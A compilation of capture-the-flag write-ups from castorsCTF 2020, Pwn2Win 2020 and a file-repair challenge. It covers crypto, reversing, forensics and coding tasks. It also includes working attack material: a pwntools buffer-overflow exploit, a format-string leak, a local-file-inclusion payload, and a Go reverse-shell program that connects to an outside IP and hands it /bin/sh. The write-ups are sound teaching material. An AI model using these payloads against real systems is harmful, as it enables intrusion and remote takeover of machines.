def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
# Pwn2Win2020 CTF Writeups
- [Omni_Crypto](#omnicrypto) - Category : Crypto - Files : [enc.py](Omni_Crypto/enc.py), [output.txt](Omni_Crypto/output.txt) - Points : 246 - Solves : 32 - solution code : [omni_crypto_solve.sage](Omni_Crypto/omni_crypto_solve.sage)- [Load_qKeys](#lost_qkeys) - Category : Crypto - Files : [server-model.py](Lost_qkeys/server-model.py) - Points : 246 - Solves : 32 - solution code : [lost_qkeys_solve.py](Lost_qkeys/lost_qkeys_solve.py)
---
# Omni_Crypto challenge writeup [Crypto]
In this challenge, we were given the [enc.py](https://github.com/S3v3ru5/CTF-writeups/blob/master/Pwn2Win2020/Omni_Crypto/enc.py) and [output.txt](https://github.com/S3v3ru5/CTF-writeups/blob/master/Pwn2Win2020/Omni_Crypto/output.txt) files.`enc.py` implements rsa algorithm with primes of 1024 bits generated using the below function.```pythondef getPrimes(size): half = random.randint(16, size // 2 - 8) rand = random.randint(8, half - 1) sizes = [rand, half, size - half - rand]
while True: p, q = 0, 0 for s in sizes: p <<= s q <<= s chunk = random.getrandbits(s) p += chunk if s == sizes[1]: chunk = random.getrandbits(s) q += chunk p |= 2**(size - 1) | 2**(size - 2) | 1 q |= 2**(size - 1) | 2**(size - 2) | 1 if gmpy2.is_prime(p) and gmpy2.is_prime(q): return p, q````getPrimes(size)` function first generates three random numbers assume them as `[s1, s2, s3](sizes list in line 4)` with `s1 + s2 + s3 = size` andfew constraints.Then the function generates `primes p and q` such that lower `s3 bits` of `p` & `q` are equal and also upper `s1 bits` of `p` & `q` are equal.Assume, ```p = (pa1 << (s2 + s3)) + (pa2 << s3) + pa3q = (pa1 << (s2 + s3)) + (qa2 << s3) + pa3````pa1, pa2, pa3` are of sizes `s1, s2, s3` bits and upper, middle, lower bits of prime p respectively.`qa2` is same as `pa2` but for prime `q`.
`N` in terms of `pa1, pa2, pa3, qa2` obtained by multiplying above equations is
`N = pa3**2 + ((pa3*qa2) << s3) + ((pa3*pa1) << (s2 + s3)) + ((pa2*pa3) << s3) + ((pa2*qa2) << (2*s3)) + ((pa2*pa1) << (s2 + 2*s3)) + ((pa1*pa3) << (s2 + s3)) + ((pa1*qa2) << (s3 + s2 + s3)) + ((pa1**2) << (2*(s2 + s3)))`
The lower `s3` bits of `N` come from the lower `s3` bits of `pa3**2`.==> `N % 2**s3 = pa3**2 % 2**s3`
so, if we are able to calculate the `square root` of `N % 2**s3 modulo 2**s3`, then we will get the original value of `pa3` as it is less than `2**s3`.[This thread](https://projecteuler.chat/viewtopic.php?t=3506) discuss the algorithm to calculate `square root` modulo `powers of 2`.Discussed algorithm works for the given challenge `N` and we can obtain the value of `pa3`.
For the value of `pa1`, the upper bits of the `N` is approximately equal to `pa1**2`.so, taking the approximate `square root` of `N >> (2*(s2 + s3))` gives the value of `pa1`.
As, we can calculate the values of `pa1` and `pa3`, we can use the `coppersmith attack` to calculate one of the primes.```pythonP.<x> = PolynomialRing(Zmod(N))f = pa1*(2**(s2 + s3)) + x*(2**s3) + pa3f = f.monic()roots = f.small_roots(beta = 0.5)```One problem is that we don't know the values of `s2` and `s3`. so, we have to check all the possible values and factor `N`.
After trying all the possible values for `s2` and `s3`, I could not factor `N` because of a small but bad mistake that I realisedafter trying another approach which only works for half of the cases.
Another approach which doesn't depend on `coppersmith attack` works only if `s2 < s3` is
As `N` can be written as `N = pa3**2 + ((pa3*qa2) << s3) + ((pa3*pa1) << (s2 + s3)) + ((pa2*pa3) << s3) + ((pa2*qa2) << (2*s3)) + ((pa2*pa1) << (s2 + 2*s3)) + ((pa1*pa3) << (s2 + s3)) + ((pa1*qa2) << (s3 + s2 + s3)) + ((pa1**2) << (2*(s2 + s3)))`
and as we know the values of `pa1` and `pa3`, we can remove all the terms which depend only on `pa1` and `pa3` which leaves us with value equal toremN = ((pa1*qa2 + pa1*pa2) << (s2 + 2*s3)) + ((pa2*qa2) << (2*s3)) + ((pa3*qa2 + pa3*pa2) << s3) = ((pa1*(qa2 + pa2)) << (s2 + 2*s3)) + ((pa2*qa2) << (2*s3)) + ((pa3*(qa2 + pa2)) << s3)we can find the `sum` of `qa2` and `pa2` modulo `2**s3` using `remN`.```remN % 2**s3 = pa3*(qa2 + pa2) % 2**s3(qa2 + pa2) % 2**s3 = (remN % 2**s3)*inverse(pa3, 2**s3) % 2**s3```if `s2 < s3` then `(qa2 + pa2) % 2**s3 = qa2 + pa2`.
Now, using the `pa1`, `pa3`, `qa2 + pa2` and `remN`, we can calculate the value of `qa2*pa2`.
And given the sum and product of `pa2` & `qa2` we can calculate the values of `pa2` & `qa2` by finding the roots `quadratic equation` `x**2 + b*x + c` with `b = -(qa2 + pa2)` and `c = qa2*pa2`.
This approach is faster but only works for half of the cases and it doesn't work for the challenge `N`.
I realised my mistake that I did while trying `coppersmith attack` which is : when using `small_roots` method I only specified the `beta` parameter and leave out `X (upper bound of root)` parameter for the method to decide.
So, after trying the `coppersmith attack` with all the parameters, it found the root.
Decrypting the ciphertext gives us the flag,
FLAG :: `Here is the message: CTF-BR{w3_n33d_more_resources_for_th3_0mni_pr0j3ct}\n`
solution code :: [omni_crypto_solve.sage](https://github.com/S3v3ru5/CTF-writeups/blob/master/Pwn2Win2020/Omni_Crypto/omni_crypto_solve.sage)
---
# Lost_qKeys crypto challenge writeup
In this challenge, we were given with [server-model.py](https://github.com/S3v3ru5/CTF-writeups/blob/master/Pwn2Win2020/Lost_qkeys/server-model.py) file and an netcat connection.The `server-model.py` basically constructs a `quantum circuit` based on a `password`(taken from the user), `Key`(generated using `os.urandom()`) and `flag`.It executes the circuit one time and measures the state of qubits and it gives the measured values to user.`server-model.py` uses [qiskit framework](https://qiskit.org/) to simulate the circuit.
The program flow of the `server-model.py` is quite simple
First it asks for a `password` with a prompt passwd: and thenit passes the `password` to below method
```python def send_qubits(self, msg, dest): qbit_config = self.decode(msg) q = qiskit.QuantumRegister(9*len(qbit_config)) circ = qiskit.QuantumCircuit(q) for j, c in enumerate(qbit_config): if c=='1': circ.x(q[9*j]) circ.cx(q[9*j],q[9*j+3]) circ.cx(q[9*j],q[9*j+6]) circ.h(q[9*j]) circ.h(q[9*j+3]) circ.h(q[9*j+6]) circ.cx(q[9*j],q[9*j+1]) circ.cx(q[9*j],q[9*j+2]) circ.cx(q[9*j+3],q[9*j+4]) circ.cx(q[9*j+3],q[9*j+5]) circ.cx(q[9*j+6],q[9*j+7]) circ.cx(q[9*j+6],q[9*j+8]) return quantum_channel(circ, dest) ```msg parameter is the `password` in the above method.The `password` is converted to a `bit-string` of `nbits`(padded if necessary).nbits is equal to 8*len(flag) which in our case is 520.The method creates a `Quantum register` with `9*nbits qubits`.It divides all the `qubits` into `groups of size 9` and takes each group of 9 qubits and sets state of `first qubit in the group to the corresponding bit of password` and then applies same operations on every group of `qubits`.Then the method passes control to the following method.```python def read_qubits(self, circ): self.received_qubits = circ.qubits for i in range(0, len(self.received_qubits), 9): circ.cx(self.received_qubits[i], self.received_qubits[i+1]) circ.cx(self.received_qubits[i], self.received_qubits[i+2]) circ.ccx(self.received_qubits[i+1], self.received_qubits[i+2], self.received_qubits[i]) circ.h(self.received_qubits[i]) circ.cx(self.received_qubits[i+3], self.received_qubits[i+4]) circ.cx(self.received_qubits[i+3], self.received_qubits[i+5]) circ.ccx(self.received_qubits[i+4], self.received_qubits[i+5], self.received_qubits[i+3]) circ.h(self.received_qubits[i+3]) circ.cx(self.received_qubits[i+6], self.received_qubits[i+7]) circ.cx(self.received_qubits[i+6], self.received_qubits[i+8]) circ.ccx(self.received_qubits[i+7], self.received_qubits[i+8], self.received_qubits[i+6]) circ.h(self.received_qubits[i+6]) circ.cx(self.received_qubits[i], self.received_qubits[i+3]) circ.cx(self.received_qubits[i], self.received_qubits[i+6]) circ.ccx(self.received_qubits[i+3], self.received_qubits[i+6], self.received_qubits[i])
circ = self.encrypt_flag(circ) self.decrypt_flag(circ)```This method also takes each `group of 9 qubits` and does similar operations an each group and passes control to the `encrypt_flag` method.```python def encrypt_flag(self, circ): self.qbuffer = qiskit.QuantumRegister(self.nbits) circ.add_register(self.qbuffer)
for i, c in enumerate(self.encoded_flag): if c=='1': circ.x(self.qbuffer[i])
for i in range(len(self.key)): if self.key[i]=='1': circ.h(self.qbuffer[i]) return circ```This is where `flag` comes into play.The method creates an additional `QuantumRegister` with size `nbits`.In order to understand the solution and the above code we need to have a small understanding of the operations done in all the mentioned functions.
According to [Qiskit docs](https://qiskit.org/documentation/tutorials/circuits/3_summary_of_quantum_operations.html) and [wikipedia page on Quantum gates](https://en.wikipedia.org/wiki/Quantum_logic_gate)```- All the qubits have default state 0 at the time of intialisation in qiskit framework.- circ.h(qi) represents a Hadamard(H) gate which acts on a single qubit and after this operation there's an equal probability to measure the state of the qubit as 0 or 1.- circ.x(qi) represents Pauli-X gate which acts on a single qubit and is quantum equivalent of Classical NOT gate i.e flips the state of qubit.- circ.cx(qc, qi) is a Controlled NOT gate, if the qubit qc results in state 1 when measured then Pauli-X(Classical NOT) gate is applied on the qubit qi.- circ.ch(qc, qi) is a Controlled Hadamard gate, if the qubit qc results in state 1 then Hadamard(H) gate is applied on qubit qi.- circ.ccx(qc1, qc2, qi) represents Toffoli(CCNOT) gate, if the first two qubits qc1 & qc2 are in state 1 then Pauli-X(Classical NOT) gate is applied on the third qubit qi.```Coming back to `encrypt_flag` method, as it created the nbits number of qubits.It assigns each bit of `flag` to `qubit state` i.e if flag bit is 1, then qubit is flipped as qubit is intially in state 0 flipping results in state 1.
After flipping necessary qubits accordingly, it adds the `Key` i.e it iterates over `Key bits`.And if `key bit is 1` then it passes corresponding `flag qubit` into `Hadamard gate` which results in the bit being in state 0 or 1 equally likely. `flag qubits` are not involved in any of the operation if the corresponding `Key bit` is 0.
And this is where the `main flaw` is, ```For an nth flag qubit the probability that corresponding key bit is 1 is 1/2probability that Hadamard gate flips the qubit is 1/2.so, given a nth flag qubit the probability that it flips is (1/2)*(1/2) = 1/4.if we take measurements for a noticable number of times then there will be a bias towards the correct bit.```We can use the above observation to calculate the entire `flag`.
Even though the following method is called after `encrypt_flag` method which adds some operations to the circuit, it `doesn't change the result` much.```python def decrypt_flag(self, circ): for i in range(self.nbits): circ.ch(self.received_qubits[9*i], self.qbuffer[i])
output = qiskit.ClassicalRegister(self.nbits) circ.add_register(output) circ.measure(self.qbuffer, output)
bk = qiskit.Aer.get_backend('qasm_simulator') job = qiskit.execute(circ, bk, shots=1) res = job.result() if not res.success: raise MemoryError('You should use a real quantum computer...') res = res.get_counts(circ) self.res = [self.encode(int(k,2)) for k in res.keys()]```This function adds `Controlled Hadamard gate` to the `flag qubits` whose `control qubits` are taken from the previously created qubits(created based on the user `password`) and measures the state of flag qubits into output Classical Register and gives the output.
The reason that I think this `addition of Controlled Hadamard gates doesn't change` much because it only applies on the `flag qubits` when `control qubit is 1` and if we see the operations(in methods `send_qubits` and `read_qubits`) which result in the control qubits and using description of the gates we can assume that the probability of control qubit being in state 1 is very less after the operations.
solution code :: [lost_qkeys_solve.py](https://github.com/S3v3ru5/CTF-writeups/blob/master/Pwn2Win2020/Lost_qkeys/lost_qkeys_solve.py)
`FLAG :: _#__CTF-BR{_1s_th4t_HoW_u_1mPl3meNt_@_QUantUm_0ne_t1m3_paD_???}_\\` |
# IntroYour friend was trying to send you the stuff that he did for your group project, but the data mysteriously got corrupted. He said his computer got infected before he was able to send it. Regardless of what happened, you need to fix it or you won't be able to complete the project.
## Initial ResearchFirst I tried to understand what type of file the corrupted file is:
```bashspags@ubuntu:~/Downloads/tj/corrupt$ file dc3b12c1155ea3c09800ebec00f8d31498af64fe6f76e0c75a552ff2c75cc762_corrupted_project dc3b12c1155ea3c09800ebec00f8d31498af64fe6f76e0c75a552ff2c75cc762_corrupted_project: data```
I realized using a hex editor would be easier at this point. Here we can see some strings for ZIP files. From other CTF challenges I know that ZIP files usually start with PK ZIP (a specific type of zip format). Knowing this I google'd the specs for PK ZIP.

https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html
## Byte EditingAfter reading the spec sheet I notice that a PKZip header has a signature of "\x50\x4b\x03\x04". As we see in the screenshot below, the hex values are "\x2e\x4b\x03\x04".

I changed the files first byte from \x2e to \x50, then ran “file” on the new binary.
``` bashspags@ubuntu:~/Downloads/tj/corrupt$ file p1 p1: Zip archive data```
I try to unzip the directory but no luck.
``` bashspags@ubuntu:~/Downloads/tj/corrupt$ unzip p1Archive: p1 End-of-central-directory signature not found. Either this file is not a zipfile, or it constitutes one disk of a multi-part archive. In the latter case the central directory and zipfile comment will be found on the last disk(s) of this archive.unzip: cannot find zipfile directory in one of p1 or p1.zip, and cannot find p1.ZIP, period.```
After reading the error that the End-of-central-directory signature was not found, I do some more research. The spec sheet states the End-of-central-directory ends with '\x50\x4b\x05\x06'. If we search for this byte string in the file, it doesn't exist. Knowing this, I decided to make my own zip file and compare the bytes. In the captures below we can see the difference between the corrupted zip file and my test file.


I also found that the distance from '\x55\x54' or "UT" to the End-of-central-directory signature is 22 bytes according to our test zip file. If we look at the corrupted ZIP file it ends after 22 bytes from UT. After realizing this add the End-of-central-directory record from my test ZIP to the corrupted one.
```bashspags@ubuntu:~/Downloads/tj/corrupt$ unzip p2Archive: p2warning [p2]: 2697 extra bytes at beginning or within zipfile (attempting to process anyway)error [p2]: start of central directory not found; zipfile corrupt. (please check that you have transferred or created the zipfile in the appropriate BINARY mode and that you have compiled UnZip properly) ```
Now, the start-of-central directory can't be found. I search for the start-of-central directory '\x50\x4b\x01\x02'. It exists in the corrupted file, so I start to look more into the End-of-central-directory entry and determine that two values are off: Central directory size and Offset of cd wrt to starting disk. I calculate the central directory size in the screenshot below.

Note the Central directory size is 87 in decimal and convert it to 57 hex. The screenshot also shows the Offset of cd wrt to starting disk is AC8.

I edit the entry to be the following:

```bashspags@ubuntu:~/Downloads/tj/corrupt$ unzip p2Archive: p2 skipping: project-files.zip unsupported compression method 4671```
Now unzip fails and reports the compression method is unsupported. I convert decimal 4671 to hex 123F and search for it in the file. It takes me back to the PK ZIP header. The compression method field must be changed to the correct value. I check the spec sheet and determine '\x00\x00' represents no compression, so we replacce 123F with 0000. The byte pattern search also took us back to the End-of-central directory, so I edit its compression method field as well.


I try to unzip the correct file:
```bashspags@ubuntu:~/Downloads/tj/corrupt$ unzip p2Archive: p2project-files.zip: ucsize 2804 <> csize 2685 for STORED entry continuing with "compressed" size value extracting: project-files.zip bad CRC c301c9a4 (should be 2e8854ea)```
At least one CRC within the zip file is corrupted, so we can search for the crc byte value (2e8854ea) in the corrupted ZIP file and replace it with the correct CRC returned by unzip "bad CRC c301c9a4".


Finally the file unzips:
```bashspags@ubuntu:~/Downloads/tj/corrupt$ unzip p2Archive: p2project-files.zip: ucsize 2804 <> csize 2685 for STORED entry continuing with "compressed" size valuereplace project-files.zip? [y]es, [n]o, [A]ll, [N]one, [r]ename: y extracting: project-files.zip ```
```bashspags@ubuntu:~/Downloads/tj/corrupt$ file project-files.zip project-files.zip: data```
The contents of the unzipped file are also broken, so we have to fix it. I break out the hex editor and try to learn more about the file.

After looking at the file header we can see "BZ". Given that the first file was a ZIP file I assumed BZ is probably the header for bunzip2. After some google-ing I confirmed this suspicion. Just like the ZIP file I create my own Bunzip2 archive and compare the byte values. The header magic for Bunzip2 is "BZh" but our corrupted file has the header "BZe". So, I start by changing that value.

```bashspags@ubuntu:~/Downloads/tj/corrupt$ bunzip2 project-files.zipbunzip2: Can't guess original name for project-files.zip -- using project-files.zip.out
bunzip2: Data integrity error when decompressing. Input file = project-files.zip, output file = project-files.zip.out
It is possible that the compressed file(s) have become corrupted.You can use the -tvv option to test integrity of such files.
You can use the `bzip2recover' program to attempt to recoverdata from undamaged sections of corrupted files.
bunzip2: Deleting output file project-files.zip.out, if it exists.```
```bashspags@ubuntu:~/Downloads/tj/corrupt$ bunzip2 -tvv project-files.zip project-files.zip: data integrity (CRC) error in data```
After trying to unbunzip there are CRC issues. When doing further byte comparison we can see that the BZ2 header doesn’t have the correct compressed magic values. Lets correct it:


Now we can Bunzip without errors:
```bashspags@ubuntu:~/Downloads/tj/corrupt$ bunzip2 ft.zip -tvv ft.zip: [1: huff+mtf rt+rld] ok```
```bashspags@ubuntu:~/Downloads/tj/corrupt$ file ft.zip.out ft.zip.out: Zip archive data, at least v2.0 to extract```
I unzip the archive inside the Bunzip archive and there are no errors:
```bashspags@ubuntu:~/Downloads/tj/corrupt$ unzip ft.zip.outArchive: ft.zip.out creating: project-files/ inflating: project-files/project-notes-1.png inflating: project-files/project-notes-0.png inflating: project-files/project-notes-2.png ```
When viewing the images we get the following:



I analyze the bytes of the second PNG to learn more:

The PNG header is incorrect. Let's look up the correct PNG header https://en.wikipedia.org/wiki/Portable_Network_Graphics. PNG Magic = \x89\x50\x4e\x47\x0d\x0a\x1a\x0a.

I try and open the PNG:

Of course the CRCs are incorrect. Luckily I've seen challenges like this before. We can use png-debugger (https://github.com/rvong/png-debugger) to check the CRCs.
```bashpng-debugger-master\Debug>PNGDebugger.exe project-notes-1-redo.png ----file-path=project-notes-1-redo.pngfile-size=686 bytes
0x00000000 png-signature=0x89504E470D0A1A0A
0x00000008 chunk-length=0x0000000D (13)0x0000000C chunk-type='IHDR'0x0000001D crc-code=0xB560682D>> (CRC CHECK) crc-computed=0xB560682D => CRC OK!
0x00000021 chunk-length=0x00000001 (1)0x00000025 chunk-type='sRGB'0x0000002A crc-code=0xAECE1CE9>> (CRC CHECK) crc-computed=0xAECE1CE9 => CRC OK!
0x0000002E chunk-length=0x00000004 (4)0x00000032 chunk-type='gAMA'0x0000003A crc-code=0x0BFC6105>> (CRC CHECK) crc-computed=0x0BFC6105 => CRC OK!
0x0000003E chunk-length=0x00000030 (48)0x00000042 chunk-type='PLTE'0x00000076 crc-code=0xE13BDC43>> (CRC CHECK) crc-computed=0xE13BDC43 => CRC OK!
0x0000007A chunk-length=0x00000009 (9)0x0000007E chunk-type='pHYs'0x0000008B crc-code=0xC76FA864>> (CRC CHECK) crc-computed=0x9EDED453 => CRC FAILED
0x0000008F chunk-length=0x00000207 (519)0x00000093 chunk-type='IDAT'0x0000029E crc-code=0xC83E0930>> (CRC CHECK) crc-computed=0xC83E0930 => CRC OK!
0x000002A2 chunk-length=0x00000000 (0)0x000002A6 chunk-type='I...'0x000002AA crc-code=0x4F6F7073>> (CRC CHECK) crc-computed=0x225AA7A2 => CRC FAILED```
A couple of sections within the PNG have incorrect CRCs. Luckily png-debugger tells us what the actual values are, so we can find and replace the CRC values.


We do this for both incorrect CRCs and try to open the file in Linux, but it fails. I try to open the PNG in Windows and we finally get the flag. I'm not sure if Windows fixed the file a little behind the scenes:

|
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
